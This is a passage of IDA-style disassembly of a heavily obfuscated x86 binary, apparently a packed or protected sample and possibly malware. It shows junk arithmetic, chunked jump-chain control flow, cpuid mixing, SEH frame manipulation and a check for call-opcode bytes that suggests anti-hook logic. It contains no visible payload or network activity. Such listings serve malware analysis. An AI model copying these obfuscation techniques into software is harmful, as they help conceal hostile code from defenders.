test eax, eax
jz loc_423E68
push 2B944D78h
jmp loc_427942
sub_424775 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_424791 proc near ; CODE XREF: _94j21ax3:004221E5p
; _94j21ax3:00429684j
mov [esp+0], esi
pop esi
xor eax, eax
retn
sub_424791 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423324
loc_424798: ; CODE XREF: sub_423324-BDFj
jmp loc_428D12
; END OF FUNCTION CHUNK FOR sub_423324
; ---------------------------------------------------------------------------
loc_42479D: ; CODE XREF: _94j21ax3:00421736j
jmp loc_421FD7
; =============== S U B R O U T I N E =======================================
sub_4247A2 proc near ; CODE XREF: sub_42BC17:loc_423A66j
; sub_42A81A:loc_42514Fp ...
; FUNCTION CHUNK AT 0042AE77 SIZE 0000000C BYTES
jnz sub_422D94
push ebp
mov ebp, esp
jmp loc_42AE77
sub_4247A2 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_4247B0: ; CODE XREF: _94j21ax3:0042A160j
cmp ebx, edi
pop edi
and ebx, 781D922Ah
mov edx, 86B42547h
not ecx
pop edx
jmp loc_424A47
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_427D65
loc_4247C6: ; CODE XREF: sub_427D65+4535j
ja loc_42429F
jmp loc_421A7E
; END OF FUNCTION CHUNK FOR sub_427D65
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_119. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_4247D2 proc near ; CODE XREF: sub_423BF8+122p
; _94j21ax3:0042B2B7j
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 004214DB SIZE 00000005 BYTES
mov [esp+0], edx
pop edx
xchg edx, [esp-4+arg_0]
jmp loc_4214DB
sub_4247D2 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42A277
loc_4247DE: ; CODE XREF: sub_42A277-479Fj
push eax
push 9495533h
xchg edx, [esp+8+var_8]
loc_4247E7: ; CODE XREF: _94j21ax3:0042BA97j
mov eax, edx
pop edx
or eax, 5C27F3F8h
sub eax, 51AA6577h
jmp loc_4212A4
; END OF FUNCTION CHUNK FOR sub_42A277
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_425983
loc_4247FB: ; CODE XREF: sub_425983:loc_4239C9j
mov ecx, [ebx+ecx+78h]
or ecx, ecx
call sub_428418
loc_424806: ; CODE XREF: sub_422FBC+5E31j
jz loc_4240AB
jmp loc_428E7E
; END OF FUNCTION CHUNK FOR sub_425983
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423F55
loc_424811: ; CODE XREF: sub_423F55:loc_424AA8j
; sub_42484C+2175j
jnz loc_4241E1
mov eax, [ebp-4]
cmp word ptr [eax], 2ECDh
jz loc_4241E1
call sub_4241D8
loc_42482A: ; CODE XREF: _94j21ax3:0042B1A3j
jmp nullsub_104
; END OF FUNCTION CHUNK FOR sub_423F55
; ---------------------------------------------------------------------------
loc_42482F: ; CODE XREF: _94j21ax3:004237D0j
jmp loc_421CEE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42C057
loc_424834: ; CODE XREF: sub_42C057-89ADj
jmp loc_42C032
; END OF FUNCTION CHUNK FOR sub_42C057
; =============== S U B R O U T I N E =======================================
sub_424839 proc near ; CODE XREF: _94j21ax3:00422D7Cp
; sub_425324-224Ej ...
; FUNCTION CHUNK AT 00421E28 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 004245C0 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0042795F SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00429D1F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042B59C SIZE 0000000A BYTES
mov [esp+0], edx
pop edx
test al, al
jz loc_421E28
jmp loc_429D1F
sub_424839 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_42484A: ; CODE XREF: _94j21ax3:0042BA35j
sub ebx, esi
; =============== S U B R O U T I N E =======================================
sub_42484C proc near ; CODE XREF: sub_429862-1506p
; FUNCTION CHUNK AT 0042275A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042312A SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00423637 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 00423679 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00423AB1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00423B4A SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00423D36 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00424726 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004249B4 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00424BE4 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00425013 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004266BA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004269B6 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00427082 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042735F SIZE 00000025 BYTES
; FUNCTION CHUNK AT 00427AF8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00427E56 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00428498 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00428752 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428DF2 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 004290D5 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00429A61 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00429C57 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00429CD7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042A1BA SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0042A6FE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042AA26 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042B370 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0042B9A0 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0042BFCA SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0042C444 SIZE 00000010 BYTES
mov [esp+0], esi
pop esi
mov eax, [eax-10h]
shr eax, 6
jmp loc_424726
sub_42484C endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42284F
loc_42485B: ; CODE XREF: sub_42284F:loc_4272F8j
cmp dword ptr [ebp-4], 5
jnz loc_4296E2
jmp loc_42A46E
; END OF FUNCTION CHUNK FOR sub_42284F
; ---------------------------------------------------------------------------
locret_42486A: ; CODE XREF: _94j21ax3:00422C32j
retn
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422866
loc_42486B: ; CODE XREF: sub_422866+7910j
jmp loc_421EFA
; END OF FUNCTION CHUNK FOR sub_422866
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423B78
loc_424870: ; CODE XREF: sub_423B78+126Bj
jmp nullsub_28
; END OF FUNCTION CHUNK FOR sub_423B78
; ---------------------------------------------------------------------------
test eax, eax
jz loc_421242
jmp loc_42B4A2
; ---------------------------------------------------------------------------
loc_424882: ; DATA XREF: sub_421558+8246o
xchg edi, [esp]
jmp sub_4239A5
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_214. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42C0BC
loc_42488B: ; CODE XREF: sub_42C0BC:loc_422E13j
; _94j21ax3:00422E2Aj
sub edx, 0D49E3200h
add edx, 0A82A3BBEh
add eax, edx
pop edx
jmp loc_42BBAB
; END OF FUNCTION CHUNK FOR sub_42C0BC
; ---------------------------------------------------------------------------
loc_42489F: ; CODE XREF: _94j21ax3:loc_424488j
; _94j21ax3:0042449Ej
rol ecx, 17h
add ecx, 428759CCh
add ecx, ebp
add ecx, 0DA9B2F22h
mov [ecx], eax
pop ecx
cmp dword ptr [ebp-10h], 0
jz loc_42A3E2
jmp loc_4263FC
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_78. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42AA5F
loc_4248C3: ; CODE XREF: sub_42AA5F-F19j
jmp loc_42A38F
; END OF FUNCTION CHUNK FOR sub_42AA5F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42C057
loc_4248C8: ; CODE XREF: sub_42C057:loc_421C99j
push edx
pushf
push 0C032154Eh
pop edx
sub edx, ds:4000F1h
rol edx, 0Ah
xor edx, 96726EECh
popf
jmp loc_4299E0
; END OF FUNCTION CHUNK FOR sub_42C057
; ---------------------------------------------------------------------------
loc_4248E5: ; CODE XREF: _94j21ax3:004250F2j
mov ecx, [edx]
; =============== S U B R O U T I N E =======================================
sub_4248E7 proc near ; CODE XREF: sub_422EB0-1300p
; FUNCTION CHUNK AT 00421195 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00421E71 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00421FF7 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00422DDE SIZE 00000014 BYTES
; FUNCTION CHUNK AT 004230B9 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00424A8C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428C7B SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00429245 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0042B781 SIZE 0000001D BYTES
xchg edi, [esp+0]
pop edi
mov [ebp-0Ch], eax
mov eax, [ebp-0Ch]
cmp eax, [ebp-14h]
jb loc_428C7B
mov eax, [ebp-10h]
jmp loc_422DDE
sub_4248E7 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_424902 proc near ; CODE XREF: sub_426AFD:loc_4245CBp
; FUNCTION CHUNK AT 00427FA2 SIZE 00000005 BYTES
xchg edx, [esp+0]
loc_424905: ; CODE XREF: _94j21ax3:loc_421966j
mov edx, [esp+0]
push 0DBFB3401h
pop edx
rol edx, 19h
jmp loc_427FA2
sub_424902 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_428B5E
loc_424916: ; CODE XREF: sub_428B5E+32B5j
xor ebx, 0B7445657h
add ebx, 5C67AA59h
popf
xchg ebx, [esp+0]
jmp loc_426A18
; END OF FUNCTION CHUNK FOR sub_428B5E
; ---------------------------------------------------------------------------
mov [edx], ecx
push edx
jmp sub_428811
; ---------------------------------------------------------------------------
loc_424933: ; DATA XREF: sub_42A919+Do
jz loc_424940
mov eax, [eax]
jmp loc_425994
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42A919
loc_424940: ; CODE XREF: sub_42AC2D:loc_421A87j
; _94j21ax3:loc_424933j ...
call sub_427D9D
loc_424945: ; CODE XREF: sub_42B238:loc_428390j
; DATA XREF: sub_4259BF+C39o
setnz byte ptr [ebp-5]
; END OF FUNCTION CHUNK FOR sub_42A919
; START OF FUNCTION CHUNK FOR sub_429629
loc_424949: ; CODE XREF: _94j21ax3:00422247j
; sub_42ADA2-5212j ...
mov al, [ebp-5]
mov esp, ebp
pop ebp
retn
; END OF FUNCTION CHUNK FOR sub_429629
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42B856
loc_424950: ; CODE XREF: sub_42B856-8D0Cj
jmp loc_425540
; END OF FUNCTION CHUNK FOR sub_42B856
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421689
loc_424955: ; CODE XREF: sub_421689+FBFj
; sub_42BD03+8j
mov byte ptr [ebp-5], 0
jmp loc_4236F3
; END OF FUNCTION CHUNK FOR sub_421689
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND]
db 31h
dd 0E9000001h, 437Ah, 21E9EE8Bh
db 41h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_42496F: ; CODE XREF: _94j21ax3:loc_429360j
push 0A73E087Ah
pop ebx
add ebx, 454E1064h
test ebx, 4000000h
jmp loc_425606
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42B856
loc_424986: ; CODE XREF: sub_42B856+18j
jz loc_42BFCA
jmp loc_421C9E
; END OF FUNCTION CHUNK FOR sub_42B856
; ---------------------------------------------------------------------------
loc_424991: ; CODE XREF: _94j21ax3:00423B26j
mov edi, 0F2F23C73h
pushf
jmp loc_422615
; ---------------------------------------------------------------------------
or esi, ebx
jmp sub_42BC93
; ---------------------------------------------------------------------------
locret_4249A3: ; CODE XREF: _94j21ax3:loc_42226Cj
retn
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421D33
loc_4249A4: ; CODE XREF: sub_421D33+764j
rol eax, 0Bh
push eax
retn
; END OF FUNCTION CHUNK FOR sub_421D33
; =============== S U B R O U T I N E =======================================
sub_4249A9 proc near ; CODE XREF: sub_42ABD9:loc_426CC5j
; FUNCTION CHUNK AT 00421BB5 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 004245D0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00424D4E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00425035 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00426DB5 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00428B92 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004297C8 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0042A1F5 SIZE 00000012 BYTES
push ebp
call sub_4296C2
loc_4249AF: ; CODE XREF: sub_42C0BC-54BAj
jmp loc_4297C8
sub_4249A9 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42484C
loc_4249B4: ; CODE XREF: sub_42484C:loc_425019j
; sub_42484C:loc_429A61j
push 0E60935EEh
pop ecx
add ecx, 0FC88BF20h
xor ecx, 0E5B1B01Fh
add ecx, 0FE59D614h
jmp loc_42275A
; END OF FUNCTION CHUNK FOR sub_42484C
; ---------------------------------------------------------------------------
and edi, 1524FD73h
jmp sub_4288D4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_428F65
loc_4249DC: ; CODE XREF: sub_428F65+3j
jb sub_4289CF
add esp, 0FFFFFFF4h
mov [ebp+var_8], eax
call sub_42A67D
mov [ebp+var_4], eax
push ebp
jmp loc_422828
; END OF FUNCTION CHUNK FOR sub_428F65
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421047
loc_4249F6: ; CODE XREF: sub_421047:loc_427E9Cj
lea eax, [ebp-125h]
push eax
call sub_425975
loc_424A02: ; CODE XREF: sub_423324+223Dj
jmp nullsub_53
; END OF FUNCTION CHUNK FOR sub_421047
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_142. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42A389
loc_424A08: ; CODE XREF: sub_42A389+1j
mov ebp, esp
push ecx
mov esp, ebp
pop ebp
push offset loc_429992
jmp loc_421929
; END OF FUNCTION CHUNK FOR sub_42A389
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4294B3
loc_424A18: ; CODE XREF: sub_4294B3-F9Cj
jno loc_4268A6
ror ebp, 1Eh
xchg ebp, [eax]
test edx, edi
jmp loc_424F8E
; END OF FUNCTION CHUNK FOR sub_4294B3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4267C6
loc_424A2A: ; CODE XREF: sub_4267C6:loc_4224BAj
xchg ebx, [esp+4+var_4]
push ecx
pushf
push 927E1A4Dh
pop ecx
rol ecx, 15h
call sub_42A83F
loc_424A3D: ; CODE XREF: _94j21ax3:004288A5j
jmp nullsub_35
; END OF FUNCTION CHUNK FOR sub_4267C6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42169F
loc_424A42: ; CODE XREF: sub_42169F+3CC6j
jmp loc_427124
; END OF FUNCTION CHUNK FOR sub_42169F
; ---------------------------------------------------------------------------
loc_424A47: ; CODE XREF: _94j21ax3:004247C1j
jmp loc_42751F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422EB0
loc_424A4C: ; CODE XREF: sub_422EB0:loc_426B24j
pop ebx
call sub_42982D
loc_424A52: ; CODE XREF: sub_422E59+5CC5j
jmp loc_422F7B
; END OF FUNCTION CHUNK FOR sub_422EB0
; =============== S U B R O U T I N E =======================================
sub_424A57 proc near ; DATA XREF: sub_421402-1EBo
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00423C67 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00423EE3 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004240F9 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 004242C4 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00428269 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00429BA0 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0042A71E SIZE 0000000F BYTES
mov [esp+0], ebp
call sub_42A36A
loc_424A5F: ; CODE XREF: sub_42B202-7E7j
jmp loc_4242C4
sub_424A57 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4213A8
loc_424A64: ; CODE XREF: sub_4213A8+10j
push offset loc_42571D
jmp nullsub_26
; END OF FUNCTION CHUNK FOR sub_4213A8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42A0CC
loc_424A6E: ; CODE XREF: sub_42A0CC-6800j
jnz loc_4285AA
jmp loc_42B6D2
; END OF FUNCTION CHUNK FOR sub_42A0CC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42AA78
loc_424A79: ; CODE XREF: sub_4281A5-6D0Dj
; sub_4281A5-6D01j ...
xor eax, eax
loc_424A7B: ; CODE XREF: sub_4281A5-5C30j
; sub_4281A5:loc_42A455j
pop large dword ptr fs:0
call sub_42C466
loc_424A87: ; CODE XREF: _94j21ax3:00427156j
jmp nullsub_122
; END OF FUNCTION CHUNK FOR sub_42AA78
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4248E7
loc_424A8C: ; CODE XREF: sub_4248E7-1AFAj
jmp loc_428C7B
; END OF FUNCTION CHUNK FOR sub_4248E7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423F55
loc_424A91: ; CODE XREF: sub_423F55+6BEj
push 0FF053339h
pop eax
add eax, 9146320h
xor eax, 0AA1887FAh
call sub_42922A
loc_424AA8: ; CODE XREF: _94j21ax3:004273A9j
jbe loc_424811
loc_424AAE: ; CODE XREF: _94j21ax3:loc_42A8A4j
mov eax, [ebp-0Ch]
loc_424AB1: ; CODE XREF: _94j21ax3:004278FAj
push eax
call sub_42B079
jmp loc_4234F1
; ---------------------------------------------------------------------------
loc_424ABC: ; CODE XREF: sub_423F55:loc_42A566j
push 0
push 0
push esi
jmp loc_4245F7
; END OF FUNCTION CHUNK FOR sub_423F55
; ---------------------------------------------------------------------------
loc_424AC6: ; CODE XREF: _94j21ax3:00425903j
jnp loc_42569C
or esi, 8E1ABA90h
jmp sub_42B772
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42972F
loc_424AD7: ; CODE XREF: sub_42972F+Fj
shl al, cl
push 0F5D85CB6h
pop edx
xor edx, 0A8AD438Bh
jmp loc_42990A
; END OF FUNCTION CHUNK FOR sub_42972F
; ---------------------------------------------------------------------------
loc_424AEA: ; CODE XREF: _94j21ax3:00427E0Ej
shr edx, 16h
; =============== S U B R O U T I N E =======================================
sub_424AED proc near ; CODE XREF: sub_429DCC+6p
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00423007 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428400 SIZE 00000018 BYTES
xchg ebx, [esp+0]
pop ebx
push ebp
mov ebp, esp
push 0F4ABEBB0h
mov [esp+4+var_4], ecx
jmp loc_428400
sub_424AED endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424B01 proc near ; DATA XREF: sub_42446Bo
; FUNCTION CHUNK AT 00421B9E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004299E5 SIZE 00000027 BYTES
push ebp
mov ebp, esp
xchg ecx, eax
call sub_42848B
loc_424B0B: ; CODE XREF: sub_421013:loc_4216E6j
cpuid
add [esi], eax
xor [esi], ebx
add [esi], ecx
xor [esi], edx
loc_424B15: ; CODE XREF: _94j21ax3:loc_422FB6j
jmp loc_421B9E
sub_424B01 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42284F
loc_424B1A: ; CODE XREF: sub_42284F:loc_424CC8j
push 36656C36h
pop eax
and eax, 9EB3723h
xor eax, 88521B59h
jmp loc_4232A5
; END OF FUNCTION CHUNK FOR sub_42284F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42ADA2
loc_424B31: ; CODE XREF: sub_42ADA2:loc_42ADACj
cmp dword ptr [ebp-4], 0
jmp loc_42A19F
; END OF FUNCTION CHUNK FOR sub_42ADA2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42C24F
loc_424B3A: ; CODE XREF: sub_42C24F+4j
cmp byte ptr [ebp-5], 0
jnz loc_426C46
jmp loc_426F78
; END OF FUNCTION CHUNK FOR sub_42C24F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42982D
loc_424B49: ; CODE XREF: _94j21ax3:loc_4229F5j
; sub_42982D:loc_42C2C8j
jnz loc_421C25
jmp loc_427149
; END OF FUNCTION CHUNK FOR sub_42982D
; =============== S U B R O U T I N E =======================================
sub_424B54 proc near ; DATA XREF: sub_421402:loc_4284D5o
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00426DD2 SIZE 0000000A BYTES
call sub_42574E
mov edx, 0CE3062ECh
call sub_4239A5
push 2F648815h
mov [esp+4+var_4], eax
jmp loc_426DD2
sub_424B54 endp ; sp-analysis failed
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_55. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
loc_424B71: ; CODE XREF: _94j21ax3:00421EA8j
jmp loc_427103
; =============== S U B R O U T I N E =======================================
sub_424B76 proc near ; CODE XREF: sub_4259BF:loc_429303p
; _94j21ax3:0042B0ABj
xchg edi, [esp+0]
pop edi
mov [ebp-8], edx
mov [ebp-4], eax
loc_424B80: ; CODE XREF: sub_42982D-65E9j
xor eax, eax
mov [ebp-0Ch], eax
push offset loc_427DF2
jmp nullsub_27
sub_424B76 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_424B8F proc near ; CODE XREF: sub_422FC8+Ap
; _94j21ax3:00426FA7j
; FUNCTION CHUNK AT 004281D4 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 004299DB SIZE 00000005 BYTES
mov [esp+0], eax
pop eax
mov [ebp-14h], edx
mov eax, [ebp-0Ch]
mov ecx, 3F5h
xor edx, edx
div ecx
mov [ebp-18h], edx
jmp loc_4299DB
sub_424B8F endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_424BAA proc near ; CODE XREF: _94j21ax3:004292D2j
; sub_42B1BB+224p
mov [esp+0], edi
pop edi
push eax
loc_424BAF: ; CODE XREF: sub_424C37:loc_4258E6j
ror eax, 0Fh
mov ds:dword_42C498, eax
retn
sub_424BAA endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421F28
loc_424BB9: ; CODE XREF: sub_421F28+66ABj
jmp loc_42B6A6
; END OF FUNCTION CHUNK FOR sub_421F28
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_426F9E
loc_424BBE: ; CODE XREF: sub_426F9E-4E14j
jmp loc_425ADD
; END OF FUNCTION CHUNK FOR sub_426F9E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_426B65
loc_424BC3: ; CODE XREF: sub_426B65+6j
; sub_42B1BB:loc_42B3CAj
push offset loc_421E66
jmp loc_42A22E
; END OF FUNCTION CHUNK FOR sub_426B65
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42A0CC
loc_424BCD: ; CODE XREF: sub_42A0CC-501Aj
push 0AE322D75h
pop eax
xor eax, 2914BDCCh
cmp eax, 3C05AE41h
jmp loc_422DD9
; END OF FUNCTION CHUNK FOR sub_42A0CC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42484C
loc_424BE4: ; CODE XREF: sub_42484C+540Fj
jnz loc_423B52
mov eax, [ebp+8]
mov eax, [eax-8]
or eax, 8
or eax, 10h
mov edx, [ebp+8]
jmp loc_423B4A
; END OF FUNCTION CHUNK FOR sub_42484C
; ---------------------------------------------------------------------------
shl edi, 4
jmp loc_421141
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42131B
loc_424C06: ; CODE XREF: sub_42131B+9E50j
mov ds:dword_422264, eax
mov eax, [ebp+var_C]
push 8CF367F4h
pop ecx
push offset sub_422FC8
jmp nullsub_186
; END OF FUNCTION CHUNK FOR sub_42131B
; ---------------------------------------------------------------------------
loc_424C1E: ; CODE XREF: _94j21ax3:00429E0Ej
add edx, 0EFB3F806h
mov edx, [edx]
xchg edx, [esp]
push edx
pushf
push 0CB9A243Ch
jmp loc_42B083
; ---------------------------------------------------------------------------
loc_424C35: ; CODE XREF: _94j21ax3:00422992j
not eax
; =============== S U B R O U T I N E =======================================
sub_424C37 proc near ; CODE XREF: sub_427A68-338Ep
var_C = dword ptr -0Ch
var_8 = dword ptr -8
; FUNCTION CHUNK AT 004217A8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004228B4 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00422997 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00423166 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00423CDD SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004240E3 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004258DB SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00426856 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00426CCF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004286D1 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00429B6C SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0042A1AA SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0042BE43 SIZE 00000008 BYTES
xchg edx, [esp+8+var_8]
pop edx
test eax, eax
jz loc_4258DB
jmp loc_4286D1
sub_424C37 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423324
loc_424C48: ; CODE XREF: sub_423324:loc_425861j
add eax, 5
jmp loc_426C84
; END OF FUNCTION CHUNK FOR sub_423324
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423F55
loc_424C50: ; CODE XREF: sub_423F55:loc_4241E1j
mov eax, [ebp-4]
call sub_4225B5
test al, al
jnz loc_42C454
mov eax, [ebp-4]
cmp byte ptr [eax], 0E8h
jnz loc_426C90
jmp loc_42C200
; END OF FUNCTION CHUNK FOR sub_423F55
; ---------------------------------------------------------------------------
loc_424C71: ; DATA XREF: sub_421047+91F8o
shl eax, 3
add [ebp-8], eax
mov eax, [ebp-8]
shr eax, 0Bh
xor [ebp-8], eax
loc_424C80: ; CODE XREF: _94j21ax3:00426BF2j
mov eax, [ebp-8]
jmp loc_42AA97
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42A092
loc_424C88: ; CODE XREF: sub_42A092+13j
mov edx, 1F56AC7Bh
call sub_4239A5
retn
; END OF FUNCTION CHUNK FOR sub_42A092
; ---------------------------------------------------------------------------
loc_424C93: ; CODE XREF: _94j21ax3:00427475j
jmp loc_426D67
; ---------------------------------------------------------------------------
loc_424C98: ; CODE XREF: _94j21ax3:00421283j
jmp locret_4222D9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42169F
loc_424C9D: ; CODE XREF: sub_42169F+6A63j
call sub_421689
test al, al
jmp loc_423E0F
; END OF FUNCTION CHUNK FOR sub_42169F
; =============== S U B R O U T I N E =======================================
sub_424CA9 proc near ; DATA XREF: sub_42AEB2:loc_42BC46o
xchg edi, [esp+0]
jmp sub_42574E
sub_424CA9 endp
; ---------------------------------------------------------------------------
loc_424CB1: ; DATA XREF: sub_424AED+3921o
or eax, eax
jnz loc_428CDA
jmp loc_4264A3
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_138. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42284F
loc_424CBF: ; CODE XREF: sub_42284F:loc_421105j
rol ecx, 1Ch
pop ebx
call sub_42169F
loc_424CC8: ; CODE XREF: sub_42134B+6C6j
jmp loc_424B1A
; END OF FUNCTION CHUNK FOR sub_42284F
; ---------------------------------------------------------------------------
loc_424CCD: ; CODE XREF: _94j21ax3:0042BBC5j
rol eax, 15h
push ebx
sbb ebx, 0DDE75E99h
jmp loc_4256FD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42284F
loc_424CDC: ; CODE XREF: sub_42284F:loc_426A0Ej
jnz loc_425AD0
jmp loc_42BD2B
; END OF FUNCTION CHUNK FOR sub_42284F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_176. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
